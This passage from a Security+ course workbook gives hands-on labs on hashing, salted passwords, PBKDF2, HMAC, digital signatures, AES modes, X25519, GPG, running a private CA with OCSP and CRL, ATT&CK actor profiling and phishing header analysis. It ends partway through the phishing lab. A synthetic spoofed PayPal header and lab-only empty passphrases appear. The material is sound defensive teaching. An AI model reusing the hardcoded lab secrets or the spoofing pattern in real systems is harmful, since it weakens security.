2. Hash data and observe fixed length and the avalanche effect Two messages differ by one character. Their digests are the same length but completely different. MD5 is shown only for comparison: it is broken for security use.

```
cd /root/lab05

echo -n 'Pay Bob 100 SGD' | sha256sum

echo -n 'Pay Bob 900 SGD' | sha256sum

echo -n 'Pay Bob 100 SGD' | md5sum

echo -n 'Pay Bob 100 SGD' | sha256sum | cut -d' ' -f1 | tr -d '\n' | wc -c
```

3. Verify file integrity with a checksum manifest Software vendors publish a SHA256SUMS file so you can confirm downloads were not corrupted or modified.

```
cd /root/lab05

echo "release notes v1.0" > notes.txt

echo "installer payload v1.0" > installer.bin

sha256sum notes.txt installer.bin > SHA256SUMS

sha256sum -c SHA256SUMS

echo "malicious bytes" >> installer.bin

sha256sum -c SHA256SUMS || echo "INTEGRITY FAILED - do not install"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

4. See why unsalted password hashes are weak Two users chose the same password. Without a salt their hashes are identical, so cracking one cracks both, and a precomputed rainbow table works instantly.

```
cd /root/lab05

printf 'carol:%s\ndave:%s\n' "$(echo -n 'Summer2026!' | sha256sum | cut -d'
' -f1)" "$(echo -n 'Summer2026!' | sha256sum | cut -d' ' -f1)" >
unsalted.txt

cat unsalted.txt

cut -d: -f2 unsalted.txt | sort | uniq -d | sed 's/^/DUPLICATE HASH: /'
```

5. Salt the hash the way /etc/shadow does Add a random salt and the same password produces different hashes. Real Linux accounts store the algorithm, salt and hash together in /etc/shadow.

```
openssl passwd -6 -salt "$(openssl rand -hex 8)" 'Summer2026!'

openssl passwd -6 -salt "$(openssl rand -hex 8)" 'Summer2026!'

for u in carol dave; do id "$u" >/dev/null 2>&1 || useradd -m "$u"; echo
"$u:Summer2026!" | chpasswd; done

getent shadow carol dave | cut -d: -f1,2
```

6. Slow attackers down with key stretching PBKDF2 repeats an HMAC many times. Compare 1,000 iterations with 600,000: the legitimate user waits a fraction of a second once, while an attacker pays that cost for every single guess.

```
time openssl kdf -keylen 32 -kdfopt digest:SHA256 -kdfopt
'pass:Summer2026!' -kdfopt salt:Lab05UniqueSalt01 -kdfopt iter:1000 PBKDF2

time openssl kdf -keylen 32 -kdfopt digest:SHA256 -kdfopt
'pass:Summer2026!' -kdfopt salt:Lab05UniqueSalt01 -kdfopt iter:600000
PBKDF2
```

7. Add authenticity with an HMAC A plain hash can be recomputed by an attacker who alters the file. An HMAC needs the shared secret key, so only key holders can produce a valid tag.

```
cd /root/lab05

echo "Invoice 4471: amount 2500 SGD to account 123-456" > invoice.txt

openssl dgst -sha256 -hmac 'SharedLabKey-2026' invoice.txt | tee
invoice.hmac

sed -i 's/123-456/999-999/' invoice.txt

openssl dgst -sha256 -hmac 'SharedLabKey-2026' invoice.txt
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

8. Sign a document with a private key Generate an RSA-3072 key pair, keep the private key secret, publish the public key, and sign the SHA-256 digest of a purchase order.

```
cd /root/lab05

openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:3072 -out
signer.key 2>/dev/null

chmod 600 signer.key

openssl pkey -in signer.key -pubout -out signer.pub

echo "PO-7781: 20 laptops, total 36000 SGD, approved by Alice" > order.txt

openssl dgst -sha256 -sign signer.key -out order.sig order.txt

openssl dgst -sha256 -verify signer.pub -signature order.sig order.txt
```

9. Tamper with the document and watch verification fail Change one value. The signature no longer matches, proving integrity; and because only Alice holds signer.key, a valid signature proves she signed it (non-repudiation).

```
cd /root/lab05

sed -i 's/20 laptops/200 laptops/' order.txt

openssl dgst -sha256 -verify signer.pub -signature order.sig order.txt ||
echo "SIGNATURE INVALID - document altered after signing"
```

Test it

sha256sum flags the altered installer, the same password gives two different salted hashes, and the signature shows Verified OK on the original and Verification failure after tampering.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-05-hashing-signatures/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 6 — Symmetric vs. Asymmetric Encryption and Key Exchange

Exam objective: 1.4. Learning outcome: Compare AES, ECC, RSA, X25519 key exchange and hybrid GPG.

Goal: The learner encrypts with AES-256, sees ECB leak patterns, compares RSA and ECC key sizes and speed, derives a shared secret with X25519, and inspects the hybrid structure of a GPG message.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

What you'll build

An AES-encrypted file, an ECB vs CBC comparison, an X25519 shared secret and a GPG hybrid message. (Tools: openssl enc, openssl speed, openssl pkeyutl, gnupg, od.)

Step-by-step

1. Install the tools GnuPG provides public-key encryption; OpenSSL provides AES, RSA, ECC and key exchange.

```
apt-get update -qq && apt-get install -y gnupg openssl

mkdir -p /root/lab06 && cd /root/lab06

echo "top secret message: merger announced on Monday" > msg.txt
```

2. Encrypt and decrypt with a shared AES-256 key One passphrase-derived key (PBKDF2 with a salt) both encrypts and decrypts. Fast and strong, but how do you get the passphrase to the recipient safely?

```
cd /root/lab06

openssl enc -aes-256-cbc -pbkdf2 -iter 200000 -salt -in msg.txt -out
msg.aes -pass pass:Lab1234!

od -c msg.aes | head -3

openssl enc -d -aes-256-cbc -pbkdf2 -iter 200000 -in msg.aes -pass
pass:Lab1234!
```

3. Compare ECB and CBC block modes ECB encrypts each 16-byte block independently, so identical plaintext blocks produce identical ciphertext and leak patterns. CBC chains blocks with an IV, so every block looks different.

```
cd /root/lab06

printf 'SECRET-PAYROLL!!%.0s' 1 2 3 4 > blocks.txt

KEY=$(openssl rand -hex 16); IV=$(openssl rand -hex 16)

openssl enc -aes-128-ecb -nosalt -K "$KEY" -in blocks.txt -out blocks.ecb

openssl enc -aes-128-cbc -nosalt -K "$KEY" -iv "$IV" -in blocks.txt -out
blocks.cbc

echo "== ECB: repeated blocks =="; od -An -tx1 -w16 -v blocks.ecb | sort |
uniq -c

echo "== CBC: all unique =="; od -An -tx1 -w16 -v blocks.cbc | sort | uniq
-c
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

4. Compare key lengths and speed Generate an RSA-3072 and an ECC P-256 key (similar strength) and compare public key sizes, then measure how many operations per second each can do compared with AES.

```
cd /root/lab06

openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:3072 -out
rsa3072.key 2>/dev/null

openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -out
ec256.key

echo "RSA-3072 public key bytes: $(openssl pkey -in rsa3072.key -pubout
-outform DER | wc -c)"

echo "ECC P-256 public key bytes: $(openssl pkey -in ec256.key -pubout
-outform DER | wc -c)"

openssl speed -seconds 1 rsa3072 ecdsap256 2>/dev/null | tail -4

openssl speed -seconds 1 -bytes 16384 -evp aes-256-gcm 2>/dev/null | tail
-2
```

5. Agree a shared secret with X25519 key exchange Alice and Bob each create a key pair and swap only their public keys. Each combines their own private key with the other's public key and arrives at the same 256-bit secret, which never crossed the network.

```
cd /root/lab06

for p in alice bob; do openssl genpkey -algorithm X25519 -out "$p-x.key";
openssl pkey -in "$p-x.key" -pubout -out "$p-x.pub"; done

openssl pkeyutl -derive -inkey alice-x.key -peerkey bob-x.pub -out alice-
shared.bin

openssl pkeyutl -derive -inkey bob-x.key -peerkey alice-x.pub -out bob-
shared.bin

sha256sum alice-shared.bin bob-shared.bin

echo "shared secret length: $(stat -c %s alice-shared.bin) bytes = $(( $
(stat -c %s alice-shared.bin) * 8 )) bits"
```

6. Generate an asymmetric GPG key pair Create a key pair for Alice: an RSA-3072 primary key for signing plus an RSA-3072 subkey for encryption ([E]). The public key can be published anywhere; the private key never leaves her keyring. (An empty passphrase is used only to keep the lab non-interactive.)

```
cd /root/lab06

gpg --list-keys alice@lab.local >/dev/null 2>&1 || gpg --batch --pinentry-
mode loopback --passphrase '' --quick-generate-key 'Alice
<alice@lab.local>' rsa3072 sign 1y
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
FPR=$(gpg --list-keys --with-colons alice@lab.local | awk -F: '/^fpr/{print $10; exit}')

gpg --list-keys alice@lab.local | grep -q '\[E\]' || gpg --batch --pinentry-mode loopback --passphrase '' --quick-add-key "$FPR" rsa3072 encr 1y

gpg --list-keys alice@lab.local

gpg --armor --export alice@lab.local > alice.pub

head -2 alice.pub
```

7. Encrypt to the public key and decrypt with the private key Anyone holding alice.pub can encrypt to Alice; only Alice's private key can decrypt. This removes the key-distribution problem from step 2.

```
cd /root/lab06

gpg --batch --yes --trust-model always -r alice@lab.local -e -o msg.gpg msg.txt

od -c msg.gpg | head -2

gpg --batch --pinentry-mode loopback --passphrase '' -d msg.gpg 2>/dev/null
```

8. Inspect the hybrid structure of the GPG message The packet dump shows the design: a public-key-encrypted packet carrying a random session key, then a symmetric (AES) encrypted data packet carrying the message.

```
cd /root/lab06

gpg --batch --pinentry-mode loopback --passphrase '' --list-packets msg.gpg 2>&1 | grep -E "pubkey enc packet|encrypted data packet|aead encrypted packet|session key|cipher|algo" | head -6
```

Test it

AES and GPG round trips return the plaintext, ECB shows one block repeated four times, Alice and Bob derive identical secrets, and the dump shows a pubkey enc packet.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-06-symmetric-asymmetric/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 7 — PKI: Build Your Own Certificate Authority

Exam objective: 1.4. Learning outcome: Run a CA lifecycle from CSR to OCSP and CRL revocation.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Goal: The learner builds a root CA, issues a wildcard certificate from a CSR, adds the root to the trust store, checks status with an OCSP responder, then revokes it and publishes a CRL.

What you'll build

A root CA, a signed *.lab.local certificate, a live OCSP responder and a CRL with the revoked serial. (Tools: openssl req, openssl ca, openssl verify, openssl ocsp, openssl crl, update-ca-certificates.)

Step-by-step

1. Install the tools and build the CA layout A CA needs a private key directory, a database of issued certificates (index.txt), serial counters and a configuration that defines the issuing policy and the extensions it stamps on certificates.

```
apt-get update -qq && apt-get install -y openssl ca-certificates curl

mkdir -p /root/ca/{certs,private,newcerts,crl} && cd /root/ca

chmod 700 private && touch index.txt && echo 1000 > serial && echo 1000 > crlnumber

cat > /root/ca/openssl.cnf <<'EOF'

[ ca ]

default_ca = CA_default

[ CA_default ]

dir              = /root/ca

database         = $dir/index.txt

serial           = $dir/serial

new_certs_dir    = $dir/newcerts

certificate      = $dir/certs/ca.crt

private_key      = $dir/private/ca.key

crlnumber        = $dir/crlnumber

default_md       = sha256

default_days     = 397

default_crl_days = 7

policy           = pol_loose

copy_extensions  = copy
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
unique_subject   = no

x509_extensions  = server_cert

[ pol_loose ]

commonName       = supplied

organizationName = optional

[ req ]

distinguished_name = req_dn

[ req_dn ]

[ v3_root ]

basicConstraints       = critical, CA:TRUE

keyUsage               = critical, keyCertSign, cRLSign

subjectKeyIdentifier   = hash

[ server_cert ]

basicConstraints       = critical, CA:FALSE

keyUsage               = critical, digitalSignature, keyEncipherment

extendedKeyUsage       = serverAuth

subjectKeyIdentifier   = hash

authorityKeyIdentifier = keyid, issuer

authorityInfoAccess    = OCSP;URI:http://127.0.0.1:2560

crlDistributionPoints  = URI:http://127.0.0.1/lab.crl

EOF

ls /root/ca
```

2. Create the root CA (the root of trust) Generate a 4096-bit root key and a self-signed root certificate valid for ten years. Subject equals issuer, and CA:TRUE allows it to sign other certificates. In production this key lives offline or in an HSM.

```
cd /root/ca

openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:4096 -out
private/ca.key 2>/dev/null && chmod 600 private/ca.key

openssl req -x509 -new -key private/ca.key -sha256 -days 3650 -config
openssl.cnf -extensions v3_root -subj "/CN=Lab Root CA/O=Tertiary Infotech
Lab" -out certs/ca.crt
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
openssl x509 -in certs/ca.crt -noout -subject -issuer -dates

openssl x509 -in certs/ca.crt -noout -ext basicConstraints,keyUsage
```

3. Generate a key and a wildcard CSR The web team creates its own key pair and a CSR for *.lab.local. The CSR carries the public key, subject and requested SANs, and is self-signed to prove possession of the private key.

```
cd /root/ca

openssl req -new -newkey rsa:2048 -nodes -keyout private/web.key -subj
"/CN=*.lab.local/O=Lab Web Team" -addext
"subjectAltName=DNS:*.lab.local,DNS:lab.local" -out web.csr 2>/dev/null

openssl req -in web.csr -noout -verify -subject

openssl req -in web.csr -noout -text | grep -A1 "Subject Alternative Name"
```

4. Sign the CSR as the CA The CA checks the request against its policy, copies the SAN extension, adds its own server extensions (EKU, OCSP and CRL locations) and signs the certificate.

```
cd /root/ca

openssl ca -batch -config openssl.cnf -in web.csr -out certs/web.crt 2>&1 |
tail -2

openssl x509 -in certs/web.crt -noout -subject -issuer -serial

openssl x509 -in certs/web.crt -noout -ext
subjectAltName,extendedKeyUsage,authorityInfoAccess,crlDistributionPoints

cat index.txt
```

5. Verify the chain and add the root to the trust store The new certificate is not trusted by default because the system trust store contains only third-party roots. Verify against your CA, then install the root as a trust anchor.

```
cd /root/ca

openssl verify certs/web.crt 2>&1 | tail -2

openssl verify -CAfile certs/ca.crt certs/web.crt

cp certs/ca.crt /usr/local/share/ca-certificates/lab-root-ca.crt

update-ca-certificates 2>&1 | grep added

openssl verify certs/web.crt
```

6. Check certificate status with OCSP Start an OCSP responder for the CA, then ask it about the web certificate, exactly as a browser would using the URL from the AIA extension.

```
cd /root/ca
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
nohup openssl ocsp -index index.txt -port 2560 -rsigner certs/ca.crt -rkey
private/ca.key -CA certs/ca.crt -nmin 5 > /root/ca/ocsp.log 2>&1 &

sleep 2

openssl ocsp -issuer certs/ca.crt -cert certs/web.crt -url
http://127.0.0.1:2560 -CAfile certs/ca.crt 2>&1 | grep -E "Response verify|
web.crt"
```

7. Revoke the certificate and publish a CRL The web server's private key has leaked. Revoke the certificate with a reason code, publish a fresh CRL, and confirm that both CRL checking and OCSP now reject it.

```
cd /root/ca

openssl ca -config openssl.cnf -revoke certs/web.crt -crl_reason
keyCompromise 2>&1 | tail -1

openssl ca -config openssl.cnf -gencrl -out crl/lab.crl 2>/dev/null

openssl crl -in crl/lab.crl -noout -text | grep -E -A3 "Revoked
Certificates"

openssl verify -crl_check -CAfile certs/ca.crt -CRLfile crl/lab.crl
certs/web.crt 2>&1 | tail -2

pkill -f "openssl ocsp -index" ; sleep 1

nohup openssl ocsp -index index.txt -port 2560 -rsigner certs/ca.crt -rkey
private/ca.key -CA certs/ca.crt -nmin 5 > /root/ca/ocsp.log 2>&1 &

sleep 2

openssl ocsp -issuer certs/ca.crt -cert certs/web.crt -url
http://127.0.0.1:2560 -CAfile certs/ca.crt 2>&1 | grep -E "web.crt|Reason"
```

8. Compare self-signed and third-party certificates Create a quick self-signed certificate (no CA vouches for it) and compare it with the third-party roots shipped in the trust store, which is why public websites buy or obtain certificates from public CAs such as Let's Encrypt.

```
cd /root/ca

openssl req -x509 -newkey rsa:2048 -nodes -keyout
/root/ca/private/selfsigned.key -days 30 -subj "/CN=selfsigned.lab.local"
-out certs/selfsigned.crt 2>/dev/null

openssl x509 -in certs/selfsigned.crt -noout -subject -issuer

openssl verify certs/selfsigned.crt 2>&1 | tail -2

echo "trusted third-party roots in this OS: $(grep -c 'BEGIN
CERTIFICATE' /etc/ssl/certs/ca-certificates.crt)"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
openssl crl2pkcs7 -nocrl -certfile /etc/ssl/certs/ca-certificates.crt |
openssl pkcs7 -print_certs -noout | grep -E "^subject=.*(ISRG Root X1|
DigiCert Global Root G2)"
```

Test it

The certificate carries the *.lab.local SAN, OCSP reports good then revoked, the CRL lists serial 1000, and the self-signed certificate fails verification.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-07-pki-ca/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Practice Questions — Domain 1

1. [1.1] A firm cannot patch a legacy SCADA host, so it isolates it on its own VLAN. Which control type is this? A) Corrective B) Compensating C) Deterrent D) Directive

2. [1.1] Which of the following is a managerial control? A) Firewall ACL B) Bollard C) Annual risk assessment D) Disk encryption

3. [1.2] In a Zero Trust architecture, which component decides whether access is granted? A) Policy enforcement point B) Policy engine C) Implicit trust zone D) Subject

4. [1.2] Visitors keep following staff through a badge-controlled door. Which control best stops this? A) Bollards B) Access control vestibule C) Lighting D) Honeypot

5. [1.2] A fake cloud access key is planted in a code repository and raises an alert when used. What is it? A) Honeypot B) Honeynet C) Honeytoken D) Honeyfile

6. [1.3] Before approving a firewall change, the CAB asks how the old rules will be restored if it fails. What is this? A) Impact analysis B) Backout plan C) SOP D) Change window

7. [1.4] Which provides non-repudiation for an email? A) Hashing it with SHA-256 B) Encrypting it with AES C) Signing it with the sender's private key D) Tokenizing it

8. [1.4] A browser must check certificate revocation in real time without downloading a full list. Which should it use? A) CRL B) OCSP C) CSR D) Key escrow

Answers

- Q1: B — Compensating: the isolation substitutes for the patch that cannot be applied.
- Q2: C — A risk assessment is a management planning activity; the others are technical or physical.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Q3: B — The policy engine evaluates policy and context; the administrator relays it and the PEP enforces it.
- Q4: B — An access control vestibule lets one person through at a time, which stops tailgating.
- Q5: C — A honeytoken is decoy data, such as a credential, whose use reveals an intruder.
- Q6: B — A backout plan is the pre-agreed set of steps to return to the previous working state.
- Q7: C — Only the sender's private key could create the signature, so the sender cannot deny sending it.
- Q8: B — OCSP queries the status of a single certificate in real time instead of a whole CRL.

Domain 2 — Threats, Vulnerabilities & Mitigations (22%)

2.1 Actors · 2.2 Vectors · 2.3 Vulnerabilities · 2.4 Indicators · 2.5 Mitigations

Exam objectives in this domain

- 2.1 Compare and contrast common threat actors and motivations
- 2.2 Explain common threat vectors and attack surfaces
- 2.3 Explain various types of vulnerabilities
- 2.4 Given a scenario, analyze indicators of malicious activity
- 2.5 Explain the purpose of mitigation techniques used to secure the enterprise

Objective 2.1 — Threat Actors & Motivations

Official objective: Compare and contrast common threat actors and motivations.

A threat actor is any entity that can cause a security event, from a bored teenager to a nation-state intelligence agency.

Actors are told apart by attributes: internal or external, their resources and funding, and their level of sophistication.

Each actor type pairs with typical motivations such as financial gain, espionage, service disruption, revenge or ideology.

Knowing who is likely to attack you, and why, lets you build a realistic threat model and prioritise the right controls.

The Named Threat Actors

- Nation-state — State-sponsored, best funded and most sophisticated; runs long-term APT campaigns for espionage or disruption.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Organized crime — Professional, profit-driven groups behind most ransomware and large-scale fraud; well resourced but money-motivated.
- Hacktivist — Ideologically driven; defaces sites, leaks data or runs DDoS to make a political or social statement.
- Insider threat — A current or former employee or contractor who already has legitimate access; may act for revenge or money.
- Unskilled attacker — Formerly script kiddie; low skill, runs others' tools and exploits without understanding them.
- Shadow IT — Staff deploying unsanctioned apps, cloud accounts or devices; not malicious but creates unmanaged risk.

Attributes That Classify an Actor

- Internal vs external — Internal actors already hold access and trust; external actors must first breach the perimeter.
- Resources / funding — Ranges from a lone hobbyist's spare time to a nation-state's budget, tooling and personnel.
- Sophistication — Capability from reusing public exploits up to developing custom zero-day malware and living-off-the-land tradecraft.
- Intent — Whether the actor seeks money, information, disruption, or simply notoriety shapes the targets they pick.

Motivations the Exam Lists

- Financial gain — Ransomware, fraud and theft for money; the dominant driver behind organized crime.
- Espionage — Stealing secrets or intellectual property, typically a nation-state or competitor goal.
- Data exfiltration — Copying sensitive data out of the organisation, often paired with espionage or extortion.
- Service disruption — Taking systems offline via DDoS or wiper malware; a hacktivist or nation-state aim.
- Blackmail — Threatening to release stolen data unless paid, as in ransomware double extortion.
- Philosophical / political — Ideological belief driving hacktivism; closely tied to disruption and chaos.
- Revenge — A disgruntled insider or ex-employee acting to harm the organisation.
- War / chaos — Cyber operations supporting armed conflict, or disruption purely to cause chaos.
- One actor can hold several motivations at once; the exam asks which best fits the scenario described.

Insider Threat versus External Attacker

- Insider threat: Already has valid credentials and physical or network access.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Insider threat: Knows where the valuable data lives and which controls are weak.
- Insider threat: Hardest to detect because the activity looks authorised.
- Insider threat: Countered by least privilege, separation of duties and user-behaviour analytics.
- External attacker: Must first find a way through the perimeter or social-engineer a user.
- External attacker: Learns the environment only after gaining a foothold.
- External attacker: Leaves more noise: scanning, failed logins, new connections.
- External attacker: Countered by patching, MFA, email filtering and network monitoring.

Obj 2.1 · Key Idea

- An APT is a campaign, not a single tool. Advanced Persistent Threat describes a well-funded actor, usually a nation-state, that quietly maintains long-term access to pursue espionage or sabotage.

Why Shadow IT Is a Threat Source

- Unmanaged assets — Apps and cloud accounts bought outside IT bypass patching, logging and access reviews.
- No visibility — Security cannot defend what it does not know exists, so shadow IT widens the attack surface silently.
- Data leakage — Corporate data moved into unsanctioned SaaS escapes DLP and backup controls.
- Not malicious — Staff usually adopt shadow IT for convenience, which is why policy and sanctioned alternatives beat punishment.

Exam tips

- Unskilled attacker = the old script kiddie: low skill, borrowed tools, not low impact.
- Nation-state = most resources and sophistication; organized crime = most financially motivated.
- Shadow IT is unsanctioned but usually not malicious; the risk is lack of oversight.
- Match motivation to actor: hacktivist to ideology, insider to revenge, crime to money, nation-state to espionage.

Lab 8 — Threat Actors & the MITRE ATT&CK Framework

Exam objective: 2.1. Learning outcome: Profile an APT group's actor type, motivation and ATT&CK techniques.

Goal: The learner downloads the MITRE ATT&CK Enterprise JSON and uses jq to profile a real APT group, mapping its actor type, likely motivation and known techniques.

What you'll build

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

A JSON-driven threat-actor profile tying one APT group to its ATT&CK techniques. (Tools: jq, curl.)

Step-by-step

1. Install the tools Install jq (a JSON processor) and curl to fetch and query the dataset.

```
apt-get update -qq && apt-get install -y jq curl
```

2. Download the ATT&CK Enterprise dataset MITRE publishes the whole Enterprise matrix as a single STIX JSON file in its public CTI repository.

```
curl -sLo attack.json
https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/
enterprise-attack.json

ls -lh attack.json
```

3. Confirm the dataset loaded Count the objects to prove the file parsed as valid JSON.

```
jq '.objects | length' attack.json
```

4. List the intrusion sets (threat groups) Each named adversary group is an object of type intrusion-set.

```
jq -r '.objects[] | select(.type=="intrusion-set") | .name' attack.json |
sort | head -20
```

5. Profile one group's aliases and description Pick a well-documented group. APT29 (a nation-state espionage actor) is a good example.

```
jq -r '.objects[] | select(.type=="intrusion-set" and .name=="APT29") |
{name, aliases, description}' attack.json
```

6. Extract the techniques attributed to the group Each group links to attack-pattern objects (techniques) through relationships. List technique names and their ATT&CK IDs.

```
jq -r '.objects[] | select(.type=="attack-pattern") |
[( .external_references[]? | select(.source_name=="mitre-attack")
| .external_id), .name] | @tsv' attack.json | sort -u | head -20
```

7. Classify the actor type and motivation This is a thinking step — no command. Using the group's description, decide: - Actor type: is this a nation-state, organized crime, hacktivist, insider or unskilled attacker? - Attributes: internal/external, resources/funding, sophistication. - Motivation: espionage, financial gain, service disruption, ideology, revenge? APT29's description points to state sponsorship and intelligence collection, so: nation-state actor, external, high resources and sophistication, motivation = espionage.

8. Record the profile as a threat note Capture the conclusion in a reusable note alongside three ATT&CK technique IDs you found.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
cat > profile.txt <<'EOF'

Threat-actor profile

Group:        APT29 (Cozy Bear)

Actor type:   Nation-state

Attributes:   External, high resources/funding, high sophistication

Motivation:   Espionage / data exfiltration

Techniques:   T1566 Phishing, T1059 Command and Scripting, T1071 App Layer
Protocol

EOF

cat profile.txt
```

Test it

The learner produces a profile naming the group's actor type (nation-state), its motivation (espionage) and three mapped ATT&CK technique IDs.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-08-threat-actors-mitre-attack/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 2.2 — Threat Vectors & Attack Surfaces

Official objective: Explain common threat vectors and attack surfaces.

A threat vector is the path or means an attacker uses to reach and exploit a target; the attack surface is the sum of all those paths.

Vectors include messages, images and files, voice calls, removable media, vulnerable or unsupported software, and open service ports.

Unsecure networks, default credentials and the supply chain (MSPs, vendors, suppliers) each expand the attack surface.

Human vectors are social engineering: phishing, vishing, smishing, pretexting, impersonation and the rest that target people, not code.

Technical Threat Vectors

- Message-based — Email, SMS and instant messaging carrying malicious links or attachments; the most common delivery route.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Image / file-based — Malware hidden in a document, PDF, macro or image; executes when the file is opened.
- Voice call — Phone-based attacks (vishing) and fraudulent support calls that trick a user into acting.
- Removable device — A dropped or infected USB drive that auto-runs code or exfiltrates data when plugged in.
- Vulnerable software — Unpatched client or agentless software with exploitable flaws.
- Unsupported systems — End-of-life operating systems and apps that no longer receive security patches.

What Enlarges the Attack Surface

- Open service ports — Every listening port is a potential entry point; unused services should be closed.
- Default credentials — Factory usernames and passwords left unchanged are trivially looked up and abused.
- Unsecure networks — Open or weak wireless, exposed wired jacks and unmanaged Bluetooth all offer a way in.
- Client vs agentless — Client-based software runs an installed agent; agentless runs in the browser or via a protocol, with different exposure.

Supply-Chain Threat Vectors

- Managed service provider — An MSP with broad remote access becomes a single point an attacker can use to reach many clients.
- Vendors — Third-party software updates can be poisoned, as in the SolarWinds and 3CX compromises.
- Suppliers — Tampered hardware or components introduce backdoors before the device ever ships.
- Why it matters — You inherit the security posture of everyone you trust; vet and monitor the whole chain.

Human Vectors: Phishing Family

- Phishing — Fraudulent email luring the victim to a fake site or malicious attachment to harvest credentials.
- Vishing — Voice phishing over the phone, often impersonating a bank, help desk or executive.
- Smishing — Phishing over SMS text, commonly a fake parcel-delivery or bank-alert link.
- Spear phishing — A targeted phish tailored to one person or role using researched detail.
- Whaling — Spear phishing aimed at a high-value target such as a CEO or CFO.
- Business email compromise — A hijacked or spoofed executive account used to order fraudulent wire transfers.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Human Vectors: Deception & Manipulation

- Pretexting — Inventing a believable scenario or role to justify the request and lower the victim's guard.
- Impersonation — Pretending to be someone trusted, such as IT support, a courier or a colleague.
- Watering hole — Compromising a site the target group is known to visit so victims infect themselves.
- Brand impersonation — Cloning a trusted brand's look in emails or sites to make the lure convincing.
- Typosquatting — Registering look-alike domains (paypa1.com) to catch mistyped URLs and host phishing pages.
- Misinformation — Seeding false or deliberately deceptive content to manipulate opinion or hide an attack.

Obj 2.2 · Key Idea

- People are the largest attack surface. Most breaches begin with social engineering because it bypasses technical controls entirely; awareness training is the primary defence against it.

Why Social Engineering Works

- Authority & urgency: Posing as a boss or the law.; A deadline rushes the victim.; Fear short-circuits judgement.
- Trust & familiarity: Known brands and logos.; A helpful, friendly tone.; Shared context from research.
- Scarcity & greed: Limited-time offers.; Promised reward or refund.; Fear of missing out drives clicks.

Exam tips

- Vector = the route in; attack surface = every route added together.
- Vishing is voice, smishing is SMS, phishing is email; whaling targets executives.
- Pretexting is the fabricated story; impersonation is the fake identity used to tell it.
- Typosquatting relies on mistyped URLs; a watering hole poisons a site the victims already trust.
- Supply-chain attacks exploit the trust you place in MSPs, vendors and suppliers.

Lab 9 — Phishing Email Analysis (SPF / DKIM / DMARC)

Exam objective: 2.2. Learning outcome: Analyze a phishing header and validate SPF, DKIM and DMARC records.

Goal: The learner dissects a spoofed email header and queries the claimed sender's SPF, DKIM and DMARC DNS records to prove the message was forged.

What you'll build

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

A header-analysis workflow that exposes SPF/DKIM/DMARC spoofing. (Tools: dnsutils, dig, swaks.)

Step-by-step

1. Install the DNS and mail tools

```
apt-get update -qq && apt-get install -y dnsutils swaks
```

2. Save a suspicious email header This synthetic header claims to be from PayPal but was relayed through an unrelated host.

```
cat > mail.eml <<'EOF'

Return-Path: <bounce@mailer-cheap-host.ru>

Received: from unknown (203.0.113.77) by mx.example.com

From: PayPal Service <service@paypal.com>

Subject: Your account has been limited

EOF

cat mail.eml
```

3. Read the Received and Return-Path lines The envelope sender and relay IP rarely match a legitimate sender — the first red flag.

```
grep -Ei 'received|return-path|^from' mail.eml
```

4. Query the claimed sender's SPF record Pull the real SPF policy for the domain in the From header.

```
dig +short TXT paypal.com | grep -i spf
```

5. Pull the DMARC policy The _dmarc record shows how receivers should treat failures (look for p=reject or p=quarantine).

```
dig +short TXT _dmarc.paypal.com
```

6. Pull a DKIM selector key DKIM keys live under selector._domainkey.domain. Selectors vary by sender; try a common one.

```
dig +short TXT selector1._domainkey.paypal.com

